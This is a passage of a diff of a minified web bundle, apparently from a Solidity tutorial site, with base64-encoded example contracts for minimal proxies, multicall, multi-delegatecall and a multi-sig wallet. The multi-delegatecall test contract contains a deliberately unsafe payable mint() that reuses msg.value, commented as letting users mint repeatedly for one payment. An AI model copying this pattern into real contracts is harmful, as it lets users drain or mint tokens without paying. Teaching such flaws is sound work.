contract",fu=[{fileName:"MinimalProxy.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCi8vIG9yaWdpbmFsIGNvZGUKLy8gaHR0cHM6Ly9naXRodWIuY29tL29wdGlvbmFsaXR5L2Nsb25lLWZhY3RvcnkvYmxvYi9tYXN0ZXIvY29udHJhY3RzL0Nsb25lRmFjdG9yeS5zb2wKCmNvbnRyYWN0IE1pbmltYWxQcm94eSB7CiAgICBmdW5jdGlvbiBjbG9uZShhZGRyZXNzIHRhcmdldCkgZXh0ZXJuYWwgcmV0dXJucyAoYWRkcmVzcyByZXN1bHQpIHsKICAgICAgICAvLyBjb252ZXJ0IGFkZHJlc3MgdG8gMjAgYnl0ZXMKICAgICAgICBieXRlczIwIHRhcmdldEJ5dGVzID0gYnl0ZXMyMCh0YXJnZXQpOwoKICAgICAgICAvLyBhY3R1YWwgY29kZSAvLwogICAgICAgIC8vIDNkNjAyZDgwNjAwYTNkMzk4MWYzMzYzZDNkMzczZDNkM2QzNjNkNzNiZWJlYmViZWJlYmViZWJlYmViZWJlYmViZWJlYmViZWJlYmViZWJlNWFmNDNkODI4MDNlOTAzZDkxNjAyYjU3ZmQ1YmYzCgogICAgICAgIC8vIGNyZWF0aW9uIGNvZGUgLy8KICAgICAgICAvLyBjb3B5IHJ1bnRpbWUgY29kZSBpbnRvIG1lbW9yeSBhbmQgcmV0dXJuIGl0CiAgICAgICAgLy8gM2Q2MDJkODA2MDBhM2QzOTgxZjMKCiAgICAgICAgLy8gcnVudGltZSBjb2RlIC8vCiAgICAgICAgLy8gY29kZSB0byBkZWxlZ2F0ZWNhbGwgdG8gYWRkcmVzcwogICAgICAgIC8vIDM2M2QzZDM3M2QzZDNkMzYzZDczIGFkZHJlc3MgNWFmNDNkODI4MDNlOTAzZDkxNjAyYjU3ZmQ1YmYzCgogICAgICAgIGFzc2VtYmx5IHsKICAgICAgICAgICAgLyoKICAgICAgICAgICAgcmVhZHMgdGhlIDMyIGJ5dGVzIG9mIG1lbW9yeSBzdGFydGluZyBhdCBwb2ludGVyIHN0b3JlZCBpbiAweDQwCgogICAgICAgICAgICBJbiBzb2xpZGl0eSwgdGhlIDB4NDAgc2xvdCBpbiBtZW1vcnkgaXMgc3BlY2lhbDogaXQgY29udGFpbnMgdGhlICJmcmVlIG1lbW9yeSBwb2ludGVyIgogICAgICAgICAgICB3aGljaCBwb2ludHMgdG8gdGhlIGVuZCBvZiB0aGUgY3VycmVudGx5IGFsbG9jYXRlZCBtZW1vcnkuCiAgICAgICAgICAgICovCiAgICAgICAgICAgIGxldCBjbG9uZSA6PSBtbG9hZCgweDQwKQogICAgICAgICAgICAvLyBzdG9yZSAzMiBieXRlcyB0byBtZW1vcnkgc3RhcnRpbmcgYXQgImNsb25lIgogICAgICAgICAgICBtc3RvcmUoCiAgICAgICAgICAgICAgICBjbG9uZSwKICAgICAgICAgICAgICAgIDB4M2Q2MDJkODA2MDBhM2QzOTgxZjMzNjNkM2QzNzNkM2QzZDM2M2Q3MzAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMAogICAgICAgICAgICApCgogICAgICAgICAgICAvKgogICAgICAgICAgICAgIHwgICAgICAgICAgICAgIDIwIGJ5dGVzICAgICAgICAgICAgICAgIHwKICAgICAgICAgICAgMHgzZDYwMmQ4MDYwMGEzZDM5ODFmMzM2M2QzZDM3M2QzZDNkMzYzZDczMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIF4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcG9pbnRlcgogICAgICAgICAgICAqLwogICAgICAgICAgICAvLyBzdG9yZSAzMiBieXRlcyB0byBtZW1vcnkgc3RhcnRpbmcgYXQgImNsb25lIiArIDIwIGJ5dGVzCiAgICAgICAgICAgIC8vIDB4MTQgPSAyMAogICAgICAgICAgICBtc3RvcmUoYWRkKGNsb25lLCAweDE0KSwgdGFyZ2V0Qnl0ZXMpCgogICAgICAgICAgICAvKgogICAgICAgICAgICAgIHwgICAgICAgICAgICAgICAyMCBieXRlcyAgICAgICAgICAgICAgIHwgICAgICAgICAgICAgICAgIDIwIGJ5dGVzICAgICAgICAgICAgICB8CiAgICAgICAgICAgIDB4M2Q2MDJkODA2MDBhM2QzOTgxZjMzNjNkM2QzNzNkM2QzZDM2M2Q3M2JlYmViZWJlYmViZWJlYmViZWJlYmViZWJlYmViZWJlYmViZWJlYmUKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIF4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHBvaW50ZXIKICAgICAgICAgICAgKi8KICAgICAgICAgICAgLy8gc3RvcmUgMzIgYnl0ZXMgdG8gbWVtb3J5IHN0YXJ0aW5nIGF0ICJjbG9uZSIgKyA0MCBieXRlcwogICAgICAgICAgICAvLyAweDI4ID0gNDAKICAgICAgICAgICAgbXN0b3JlKAogICAgICAgICAgICAgICAgYWRkKGNsb25lLCAweDI4KSwKICAgICAgICAgICAgICAgIDB4NWFmNDNkODI4MDNlOTAzZDkxNjAyYjU3ZmQ1YmYzMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMAogICAgICAgICAgICApCgogICAgICAgICAgICAvKgogICAgICAgICAgICAgIHwgICAgICAgICAgICAgICAyMCBieXRlcyAgICAgICAgICAgICAgIHwgICAgICAgICAgICAgICAgIDIwIGJ5dGVzICAgICAgICAgICAgICB8ICAgICAgICAgICAxNSBieXRlcyAgICAgICAgICB8CiAgICAgICAgICAgIDB4M2Q2MDJkODA2MDBhM2QzOTgxZjMzNjNkM2QzNzNkM2QzZDM2M2Q3M2JlYmViZWJlYmViZWJlYmViZWJlYmViZWJlYmViZWJlYmViZWJlYmU1YWY0M2Q4MjgwM2U5MDNkOTE2MDJiNTdmZDViZjMKICAgICAgICAgICAgKi8KICAgICAgICAgICAgLy8gY3JlYXRlIG5ldyBjb250cmFjdAogICAgICAgICAgICAvLyBzZW5kIDAgRXRoZXIKICAgICAgICAgICAgLy8gY29kZSBzdGFydHMgYXQgcG9pbnRlciBzdG9yZWQgaW4gImNsb25lIgogICAgICAgICAgICAvLyBjb2RlIHNpemUgMHgzNyAoNTUgYnl0ZXMpCiAgICAgICAgICAgIHJlc3VsdCA6PSBjcmVhdGUoMCwgY2xvbmUsIDB4MzcpCiAgICAgICAgfQogICAgfQp9Cg=="}],Vu=`

            If you have a contract that will be deployed multiple times, use minimal proxy contract to deploy them cheaply.

            // SPDX-License-Identifier: MIT
             pragma solidity ^0.8.20;
             
            @@ -1990,7 +1990,7 @@ How to swap tokens
                     }
                 }
             }
            -
            `,Gu=({prev:s,next:a})=>i.jsx(u,{version:wu,title:ku,description:Zu,html:Bu,prev:s,next:a,codes:Wu}),fu="0.8.20",Vu="Multi Call",vu="An example of contract to aggregate multiple calls.",Yu=[{fileName:"MultiCall.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IE11bHRpQ2FsbCB7CiAgICBmdW5jdGlvbiBtdWx0aUNhbGwoCiAgICAgICAgYWRkcmVzc1tdIGNhbGxkYXRhIHRhcmdldHMsCiAgICAgICAgYnl0ZXNbXSBjYWxsZGF0YSBkYXRhCiAgICApIGV4dGVybmFsIHZpZXcgcmV0dXJucyAoYnl0ZXNbXSBtZW1vcnkpIHsKICAgICAgICByZXF1aXJlKHRhcmdldHMubGVuZ3RoID09IGRhdGEubGVuZ3RoLCAidGFyZ2V0IGxlbmd0aCAhPSBkYXRhIGxlbmd0aCIpOwoKICAgICAgICBieXRlc1tdIG1lbW9yeSByZXN1bHRzID0gbmV3IGJ5dGVzW10oZGF0YS5sZW5ndGgpOwoKICAgICAgICBmb3IgKHVpbnQgaTsgaSA8IHRhcmdldHMubGVuZ3RoOyBpKyspIHsKICAgICAgICAgICAgKGJvb2wgc3VjY2VzcywgYnl0ZXMgbWVtb3J5IHJlc3VsdCkgPSB0YXJnZXRzW2ldLnN0YXRpY2NhbGwoZGF0YVtpXSk7CiAgICAgICAgICAgIHJlcXVpcmUoc3VjY2VzcywgImNhbGwgZmFpbGVkIik7CiAgICAgICAgICAgIHJlc3VsdHNbaV0gPSByZXN1bHQ7CiAgICAgICAgfQoKICAgICAgICByZXR1cm4gcmVzdWx0czsKICAgIH0KfQo="},{fileName:"TestMultiCall.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IFRlc3RNdWx0aUNhbGwgewogICAgZnVuY3Rpb24gdGVzdCh1aW50IF9pKSBleHRlcm5hbCBwdXJlIHJldHVybnMgKHVpbnQpIHsKICAgICAgICByZXR1cm4gX2k7CiAgICB9CgogICAgZnVuY3Rpb24gZ2V0RGF0YSh1aW50IF9pKSBleHRlcm5hbCBwdXJlIHJldHVybnMgKGJ5dGVzIG1lbW9yeSkgewogICAgICAgIHJldHVybiBhYmkuZW5jb2RlV2l0aFNlbGVjdG9yKHRoaXMudGVzdC5zZWxlY3RvciwgX2kpOwogICAgfQp9Cg=="}],Ru=`

            An example of contract that aggregates multiple queries using a for loop and staticcall.

            +`,vu=({prev:s,next:a})=>i.jsx(u,{version:Wu,title:Bu,description:Gu,html:Vu,prev:s,next:a,codes:fu}),Yu="0.8.20",Ru="Multi Call",Xu="An example of contract to aggregate multiple calls.",Hu=[{fileName:"MultiCall.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IE11bHRpQ2FsbCB7CiAgICBmdW5jdGlvbiBtdWx0aUNhbGwoCiAgICAgICAgYWRkcmVzc1tdIGNhbGxkYXRhIHRhcmdldHMsCiAgICAgICAgYnl0ZXNbXSBjYWxsZGF0YSBkYXRhCiAgICApIGV4dGVybmFsIHZpZXcgcmV0dXJucyAoYnl0ZXNbXSBtZW1vcnkpIHsKICAgICAgICByZXF1aXJlKHRhcmdldHMubGVuZ3RoID09IGRhdGEubGVuZ3RoLCAidGFyZ2V0IGxlbmd0aCAhPSBkYXRhIGxlbmd0aCIpOwoKICAgICAgICBieXRlc1tdIG1lbW9yeSByZXN1bHRzID0gbmV3IGJ5dGVzW10oZGF0YS5sZW5ndGgpOwoKICAgICAgICBmb3IgKHVpbnQgaTsgaSA8IHRhcmdldHMubGVuZ3RoOyBpKyspIHsKICAgICAgICAgICAgKGJvb2wgc3VjY2VzcywgYnl0ZXMgbWVtb3J5IHJlc3VsdCkgPSB0YXJnZXRzW2ldLnN0YXRpY2NhbGwoZGF0YVtpXSk7CiAgICAgICAgICAgIHJlcXVpcmUoc3VjY2VzcywgImNhbGwgZmFpbGVkIik7CiAgICAgICAgICAgIHJlc3VsdHNbaV0gPSByZXN1bHQ7CiAgICAgICAgfQoKICAgICAgICByZXR1cm4gcmVzdWx0czsKICAgIH0KfQo="},{fileName:"TestMultiCall.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IFRlc3RNdWx0aUNhbGwgewogICAgZnVuY3Rpb24gdGVzdCh1aW50IF9pKSBleHRlcm5hbCBwdXJlIHJldHVybnMgKHVpbnQpIHsKICAgICAgICByZXR1cm4gX2k7CiAgICB9CgogICAgZnVuY3Rpb24gZ2V0RGF0YSh1aW50IF9pKSBleHRlcm5hbCBwdXJlIHJldHVybnMgKGJ5dGVzIG1lbW9yeSkgewogICAgICAgIHJldHVybiBhYmkuZW5jb2RlV2l0aFNlbGVjdG9yKHRoaXMudGVzdC5zZWxlY3RvciwgX2kpOwogICAgfQp9Cg=="}],Fu=`

            An example of contract that aggregates multiple queries using a for loop and staticcall.

            // SPDX-License-Identifier: MIT
             pragma solidity ^0.8.20;
             
            @@ -2025,7 +2025,7 @@ How to swap tokens
                     return abi.encodeWithSelector(this.test.selector, _i);
                 }
             }
            -
            `,Xu=({prev:s,next:a})=>i.jsx(u,{version:fu,title:Vu,description:vu,html:Ru,prev:s,next:a,codes:Yu}),Hu="0.8.20",Fu="Multi Delegatecall",Nu="An example of contract to call multiple functions in a single transaction",Ku=[{fileName:"MultiDelegatecall.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IE11bHRpRGVsZWdhdGVjYWxsIHsKICAgIGVycm9yIERlbGVnYXRlY2FsbEZhaWxlZCgpOwoKICAgIGZ1bmN0aW9uIG11bHRpRGVsZWdhdGVjYWxsKAogICAgICAgIGJ5dGVzW10gbWVtb3J5IGRhdGEKICAgICkgZXh0ZXJuYWwgcGF5YWJsZSByZXR1cm5zIChieXRlc1tdIG1lbW9yeSByZXN1bHRzKSB7CiAgICAgICAgcmVzdWx0cyA9IG5ldyBieXRlc1tdKGRhdGEubGVuZ3RoKTsKCiAgICAgICAgZm9yICh1aW50IGk7IGkgPCBkYXRhLmxlbmd0aDsgaSsrKSB7CiAgICAgICAgICAgIChib29sIG9rLCBieXRlcyBtZW1vcnkgcmVzKSA9IGFk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biBjb21iaW5hdGlvbiB3aXRoIG11bHRpLWRlbGVnYXRlY2FsbAogICAgLy8gdXNlciBjYW4gbWludCBtdWx0aXBsZSB0aW1lcyBmb3IgdGhlIHByaWNlIG9mIG1zZy52YWx1ZQogICAgZnVuY3Rpb24gbWludCgpIGV4dGVybmFsIHBheWFibGUgewogICAgICAgIGJhbGFuY2VPZlttc2cuc2VuZGVyXSArPSBtc2cudmFsdWU7CiAgICB9Cn0KCmNvbnRyYWN0IEhlbHBlciB7CiAgICBmdW5jdGlvbiBnZXRGdW5jMURhdGEodWludCB4LCB1aW50IHkpIGV4dGVybmFsIHB1cmUgcmV0dXJucyAoYnl0ZXMgbWVtb3J5KSB7CiAgICAgICAgcmV0dXJuIGFiaS5lbmNvZGVXaXRoU2VsZWN0b3IoVGVzdE11bHRpRGVsZWdhdGVjYWxsLmZ1bmMxLnNlbGVjdG9yLCB4LCB5KTsKICAgIH0KCiAgICBmdW5jdGlvbiBnZXRGdW5jMkRhdGEoKSBleHRlcm5hbCBwdXJlIHJldHVybnMgKGJ5dGVzIG1lbW9yeSkgewogICAgICAgIHJldHVybiBhYmkuZW5jb2RlV2l0aFNlbGVjdG9yKFRlc3RNdWx0aURlbGVnYXRlY2FsbC5mdW5jMi5zZWxlY3Rvcik7CiAgICB9CgogICAgZnVuY3Rpb24gZ2V0TWludERhdGEoKSBleHRlcm5hbCBwdXJlIHJldHVybnMgKGJ5dGVzIG1lbW9yeSkgewogICAgICAgIHJldHVybiBhYmkuZW5jb2RlV2l0aFNlbGVjdG9yKFRlc3RNdWx0aURlbGVnYXRlY2FsbC5taW50LnNlbGVjdG9yKTsKICAgIH0KfQo="}],Su=`

            An example of calling multiple functions with a single transaction, using delegatecall.

            +`,Nu=({prev:s,next:a})=>i.jsx(u,{version:Yu,title:Ru,description:Xu,html:Fu,prev:s,next:a,codes:Hu}),Ku="0.8.20",Su="Multi Delegatecall",xu="An example of contract to call multiple functions in a single transaction",Mu=[{fileName:"MultiDelegatecall.sol",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yeSkgewogICAgICAgIHJldHVybiBhYmkuZW5jb2RlV2l0aFNlbGVjdG9yKFRlc3RNdWx0aURlbGVnYXRlY2FsbC5mdW5jMi5zZWxlY3Rvcik7CiAgICB9CgogICAgZnVuY3Rpb24gZ2V0TWludERhdGEoKSBleHRlcm5hbCBwdXJlIHJldHVybnMgKGJ5dGVzIG1lbW9yeSkgewogICAgICAgIHJldHVybiBhYmkuZW5jb2RlV2l0aFNlbGVjdG9yKFRlc3RNdWx0aURlbGVnYXRlY2FsbC5taW50LnNlbGVjdG9yKTsKICAgIH0KfQo="}],Ju=`

            An example of calling multiple functions with a single transaction, using delegatecall.

            // SPDX-License-Identifier: MIT
             pragma solidity ^0.8.20;
             
            @@ -2086,7 +2086,7 @@ How to swap tokens
                     return abi.encodeWithSelector(TestMultiDelegatecall.mint.selector);
                 }
             }
            -
            `,xu=({prev:s,next:a})=>i.jsx(u,{version:Hu,title:Fu,description:Nu,html:Su,prev:s,next:a,codes:Ku}),Mu="0.8.20",Ju="Multi-Sig Wallet",zu="An example of multi-sig wallet in Solidity",Eu=[{fileName:"MultiSigWallet.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IE11bHRpU2lnV2FsbGV0IHsKICAgIGV2ZW50IERlcG9zaXQoYWRkcmVzcyBpbmRleGVkIHNlbmRlciwgdWludCBhbW91bnQsIHVpbnQgYmFsYW5jZSk7CiAgICBldmVudCBTdWJtaXRUcmFuc2FjdGlvbigKICAgICAgICBhZGRyZXNzIGluZGV4ZWQgb3duZXIsCiAgICAgICAgdWludCBpbmRleGVkIHR4SW5kZXgsCiAgICAgICAgYWRkcmVzcyBpbmRleGVkIHRvLAogICAgICAgIHVpbnQgdmFsdWUsCiAgICAgICAgYnl0ZXMgZGF0YQogICAgKTsKICAgIGV2ZW50IENvbmZpcm1UcmFuc2FjdGlvbihhZGRyZXNzIGluZGV4ZWQ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ub3RFeGVjdXRlZCh1aW50IF90eEluZGV4KSB7CiAgICAgICAgcmVxdWlyZSghdHJhbnNhY3Rpb25zW190eEluZGV4XS5leGVjdXRlZCwgInR4IGFscmVhZHkgZXhlY3V0ZWQiKTsKICAgICAgICBfOwogICAgfQoKICAgIG1vZGlmaWVyIG5vdENvbmZpcm1lZCh1aW50IF90eEluZGV4KSB7CiAgICAgICAgcmVxdWlyZSghaXNDb25maXJtZWRbX3R4SW5kZXhdW21zZy5zZW5kZXJdLCAidHggYWxyZWFkeSBjb25maXJtZWQiKTsKICAgICAgICBfOwogICAgfQoKICAgIGNvbnN0cnVjdG9yKGFkZHJlc3NbXSBtZW1vcnkgX293bmVycywgdWludCBfbnVtQ29uZmlybWF0aW9uc1JlcXVpcmVkKSB7CiAgICAgICAgcmVxdWlyZShfb3duZXJzLmxlbmd0aCA+IDAsICJvd25lcnMgcmVxdWlyZWQiKTsKICAgICAgICByZXF1aXJlKAogICAgICAgICAgICBfbnVtQ29uZmlybWF0aW9uc1JlcXVpcmVkID4gMCAmJgogICAgICAgICAgICAgICAgX251bUNvbmZpcm1hdGlvbnNSZXF1aXJlZCA8PSBfb3duZXJzLmxlbmd0aCwKICAgICAgICAgICAgImludmFsaWQgbnVtYmVyIG9mIHJlcXVpcmVkIGNvbmZpcm1hdGlvbnMiCiAgICAgICAgKTsKCiAgICAgICAgZm9yICh1aW50IGkgPSAwOyBpIDwgX293bmVycy5sZW5ndGg7IGkrKykgewogICAgICAgICAgICBhZGRyZXNzIG93bmVyID0gX293bmVyc1tpXTsKCiAgICAgICAgICAgIHJlcXVpcmUob3duZXIgIT0gYWRkcmVzcygwKSwgImludmFsaWQgb3duZXIiKTsKICAgICAgICAgICAgcmVxdWlyZSghaXNPd25lcltvd25lcl0sICJvd25lciBub3QgdW5pcXVlIik7CgogICAgICAgICAgICBpc093bmVyW293bmVyXSA9IHRydWU7CiAgICAgICAgICAgIG93bmVycy5wdXNoKG93bmVyKTsKICAgICAgICB9CgogICAgICAgIG51bUNvbmZpcm1hdGlvbnNSZXF1aXJlZCA9IF9udW1Db25maXJtYXRpb25zUmVxdWlyZWQ7CiAgICB9CgogICAgcmVjZWl2ZSgpIGV4dGVybmFsIHBheWFibGUgewogICAgICAgIGVtaXQgRGVwb3NpdChtc2cuc2VuZGVyLCBtc2cudmFsdWUsIGFkZHJlc3ModGhpcykuYmFsYW5jZSk7CiAgICB9CgogICAgZnVuY3Rpb24gc3VibWl0VHJhbnNhY3Rpb24oCiAgICAgICAgYWRkcmVzcyBfdG8sCiAgICAgICAgdWludCBfdmFsdWUsCiAgICAgICAgYnl0ZXMgbWVtb3J5IF9kYXRhCiAgICApIHB1YmxpYyBvbmx5T3duZXIgewogICAgICAgIHVpbnQgdHhJbmRleCA9IHRyYW5zYWN0aW9ucy5sZW5ndGg7CgogICAgICAgIHRyYW5zYWN0aW9ucy5wdXNoKAogICAgICAgICAgICBUcmFuc2FjdGlvbih7CiAgICAgICAgICAgICAgICB0bzogX3RvLAogICAgICAgICAgICAgICAgdmFsdWU6IF92YWx1ZSwKICAgICAgICAgICAgICAgIGRhdGE6IF9kYXRhLAogICAgICAgICAgICAgICAgZXhlY3V0ZWQ6IGZhbHNlLAogICAgICAgICAgICAgICAgbnVtQ29uZmlybWF0aW9uczogMAogICAgICAgICAgICB9KQogICAgICAgICk7CgogICAgICAgIGVtaXQgU3VibWl0VHJhbnNhY3Rpb24obXNnLnNlbmRlciwgdHhJbmRleCwgX3RvLCBfdmFsdWUsIF9kYXRhKTsKICAgIH0KCiAgICBmdW5jdGlvbiBjb25maXJtVHJhbnNhY3Rpb24oCiAgICAgICAgdWludCBfdHhJbmRleAogICAgKSBwdWJsaWMgb25seU93bmVyIHR4RXhpc3RzKF90eEluZGV4KSBub3RFeGVjdXRlZChfdHhJbmRleCkgbm90Q29uZmlybWVkKF90eEluZGV4KSB7CiAgICAgICAgVHJhbnNhY3Rpb24gc3RvcmFnZSB0cmFuc2FjdGlvbiA9IHRyYW5zYWN0aW9uc1tfdHhJbmRleF07CiAgICAgICAgdHJhbnNhY3Rpb24ubnVtQ29uZmlybWF0aW9ucyArPSAxOwogICAgICAgIGlzQ29uZmlybWVkW190eEluZGV4XVttc2cuc2VuZGVyXSA9IHRydWU7CgogICAgICAgIGVtaXQgQ29uZmlybVRyYW5zYWN0aW9uKG1zZy5zZW5kZXIsIF90eEluZGV4KTsKICAgIH0KCiAgICBmdW5jdGlvbiBleGVjdXRlVHJhbnNhY3Rpb24oCiAgICAgICAgdWludCBfdHhJbmRleAogICAgKSBwdWJsaWMgb25seU93bmVyIHR4RXhpc3RzKF90eEluZGV4KSBub3RFeGVjdXRlZChfdHhJbmRleCkgewogICAgICAgIFRyYW5zYWN0aW9uIHN0b3JhZ2UgdHJhbnNhY3Rpb24gPSB0cmFuc2FjdGlvbnNbX3R4SW5kZXhdOwoKICAgICAgICByZXF1aXJlKAogICAgICAgICAgICB0cmFuc2FjdGlvbi5udW1Db25maXJtYXRpb25zID49IG51bUNvbmZpcm1hdGlvbnNSZXF1aXJlZCwKICAgICAgICAgICAgImNhbm5vdCBleGVjdXRlIHR4IgogICAgICAgICk7CgogICAgICAgIHRyYW5zYWN0aW9uLmV4ZWN1dGVkID0gdHJ1ZTsKCiAgICAgICAgKGJvb2wgc3VjY2VzcywgKSA9IHRyYW5zYWN0aW9uLnRvLmNhbGx7dmFsdWU6IHRyYW5zYWN0aW9uLnZhbHVlfSgKICAgICAgICAgICAgdHJhbnNhY3Rpb24uZGF0YQogICAgICAgICk7CiAgICAgICAgcmVxdWlyZShzdWNjZXNzLCAidHggZmFpbGVkIik7CgogICAgICAgIGVtaXQgRXhlY3V0ZVRyYW5zYWN0aW9uKG1zZy5zZW5kZXIsIF90eEluZGV4KTsKICAgIH0KCiAgICBmdW5jdGlvbiByZXZva2VDb25maXJtYXRpb24oCiAgICAgICAgdWludCBfdHhJbmRleAogICAgKSBwdWJsaWMgb25seU93bmVyIHR4RXhpc3RzKF90eEluZGV4KSBub3RFeGVjdXRlZChfdHhJbmRleCkgewogICAgICAgIFRyYW5zYWN0aW9uIHN0b3JhZ2UgdHJhbnNhY3Rpb24gPSB0cmFuc2FjdGlvbnNbX3R4SW5kZXhdOwoKICAgICAgICByZXF1aXJlKGlzQ29uZmlybWVkW190eEluZGV4XVttc2cuc2VuZGVyXSwgInR4IG5vdCBjb25maXJtZWQiKTsKCiAgICAgICAgdHJhbnNhY3Rpb24ubnVtQ29uZmlybWF0aW9ucyAtPSAxOwogICAgICAgIGlzQ29uZmlybWVkW190eEluZGV4XVttc2cuc2VuZGVyXSA9IGZhbHNlOwoKICAgICAgICBlbWl0IFJldm9rZUNvbmZpcm1hdGlvbihtc2cuc2VuZGVyLCBfdHhJbmRleCk7CiAgICB9CgogICAgZnVuY3Rpb24gZ2V0T3duZXJzKCkgcHVibGljIHZpZXcgcmV0dXJucyAoYWRkcmVzc1tdIG1lbW9yeSkgewogICAgICAgIHJldHVybiBvd25lcnM7CiAgICB9CgogICAgZnVuY3Rpb24gZ2V0VHJhbnNhY3Rpb25Db3VudCgpIHB1YmxpYyB2aWV3IHJldHVybnMgKHVpbnQpIHsKICAgICAgICByZXR1cm4gdHJhbnNhY3Rpb25zLmxlbmd0aDsKICAgIH0KCiAgICBmdW5jdGlvbiBnZXRUcmFuc2FjdGlvbigKICAgICAgICB1aW50IF90eEluZGV4CiAgICApCiAgICAgICAgcHVibGljCiAgICAgICAgdmlldwogICAgICAgIHJldHVybnMgKAogICAgICAgICAgICBhZGRyZXNzIHRvLAogICAgICAgICAgICB1aW50IHZhbHVlLAogICAgICAgICAgICBieXRlcyBtZW1vcnkgZGF0YSwKICAgICAgICAgICAgYm9vbCBleGVjdXRlZCwKICAgICAgICAgICAgdWludCBudW1Db25maXJtYXRpb25zCiAgICAgICAgKQogICAgewogICAgICAgIFRyYW5zYWN0aW9uIHN0b3JhZ2UgdHJhbnNhY3Rpb24gPSB0cmFuc2FjdGlvbnNbX3R4SW5kZXhdOwoKICAgICAgICByZXR1cm4gKAogICAgICAgICAgICB0cmFuc2FjdGlvbi50bywKICAgICAgICAgICAgdHJhbnNhY3Rpb24udmFsdWUsCiAgICAgICAgICAgIHRyYW5zYWN0aW9uLmRhdGEsCiAgICAgICAgICAgIHRyYW5zYWN0aW9uLmV4ZWN1dGVkLAogICAgICAgICAgICB0cmFuc2FjdGlvbi5udW1Db25maXJtYXRpb25zCiAgICAgICAgKTsKICAgIH0KfQo="},{fileName:"TestContract.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IFRlc3RDb250cmFjdCB7CiAgICB1aW50IHB1YmxpYyBpOwoKICAgIGZ1bmN0aW9uIGNhbGxNZSh1aW50IGopIHB1YmxpYyB7CiAgICAgICAgaSArPSBqOwogICAgfQoKICAgIGZ1bmN0aW9uIGdldERhdGEoKSBwdWJsaWMgcHVyZSByZXR1cm5zIChieXRlcyBtZW1vcnkpIHsKICAgICAgICByZXR1cm4gYWJpLmVuY29kZVdpdGhTaWduYXR1cmUoImNhbGxNZSh1aW50MjU2KSIsIDEyMyk7CiAgICB9Cn0K"}],Lu=`

            Let's create an multi-sig wallet. Here are the specifications.

            +`,zu=({prev:s,next:a})=>i.jsx(u,{version:Ku,title:Su,description:xu,html:Ju,prev:s,next:a,codes:Mu}),Eu="0.8.20",Lu="Multi-Sig Wallet",Qu="An example of multi-sig wallet in Solidity",_u=[{fileName:"MultiSigWallet.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IE11bHRpU2lnV2FsbGV0IHsKICAgIGV2ZW50IERlcG9zaXQoYWRkcmVzcyBpbmRleGVkIHNlbmRlciwgdWludCBhbW91bnQsIHVpbnQgYmFsYW5jZSk7CiAgICBldmVudCBTdWJtaXRUcmFuc2FjdGlvbigKICAgICAgICBhZGRyZXNzIGluZGV4ZWQgb3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AgICBfOwogICAgfQoKICAgIG1vZGlmaWVyIHR4RXhpc3RzKHVpbnQgX3R4SW5kZXgpIHsKICAgICAgICByZXF1aXJlKF90eEluZGV4IDwgdHJhbnNhY3Rpb25zLmxlbmd0aCwgInR4IGRvZXMgbm90IGV4aXN0Iik7CiAgICAgICAgXzsKICAgIH0KCiAgICBtb2RpZmllciBub3RFeGVjdXRlZCh1aW50IF90eEluZGV4KSB7CiAgICAgICAgcmVxdWlyZSghdHJhbnNhY3Rpb25zW190eEluZGV4XS5leGVjdXRlZCwgInR4IGFscmVhZHkgZXhlY3V0ZWQiKTsKICAgICAgICBfOwogICAgfQoKICAgIG1vZGlmaWVyIG5vdENvbmZpcm1lZCh1aW50IF90eEluZGV4KSB7CiAgICAgICAgcmVxdWlyZSghaXNDb25maXJtZWRbX3R4SW5kZXhdW21zZy5zZW5kZXJdLCAidHggYWxyZWFkeSBjb25maXJtZWQiKTsKICAgICAgICBfOwogICAgfQoKICAgIGNvbnN0cnVjdG9yKGFkZHJlc3NbXSBtZW1vcnkgX293bmVycywgdWludCBfbnVtQ29uZmlybWF0aW9uc1JlcXVpcmVkKSB7CiAgICAgICAgcmVxdWlyZShfb3duZXJzLmxlbmd0aCA+IDAsICJvd25lcnMgcmVxdWlyZWQiKTsKICAgICAgICByZXF1aXJlKAogICAgICAgICAgICBfbnVtQ29uZmlybWF0aW9uc1JlcXVpcmVkID4gMCAmJgogICAgICAgICAgICAgICAgX251bUNvbmZpcm1hdGlvbnNSZXF1aXJlZCA8PSBfb3duZXJzLmxlbmd0aCwKICAgICAgICAgICAgImludmFsaWQgbnVtYmVyIG9mIHJlcXVpcmVkIGNvbmZpcm1hdGlvbnMiCiA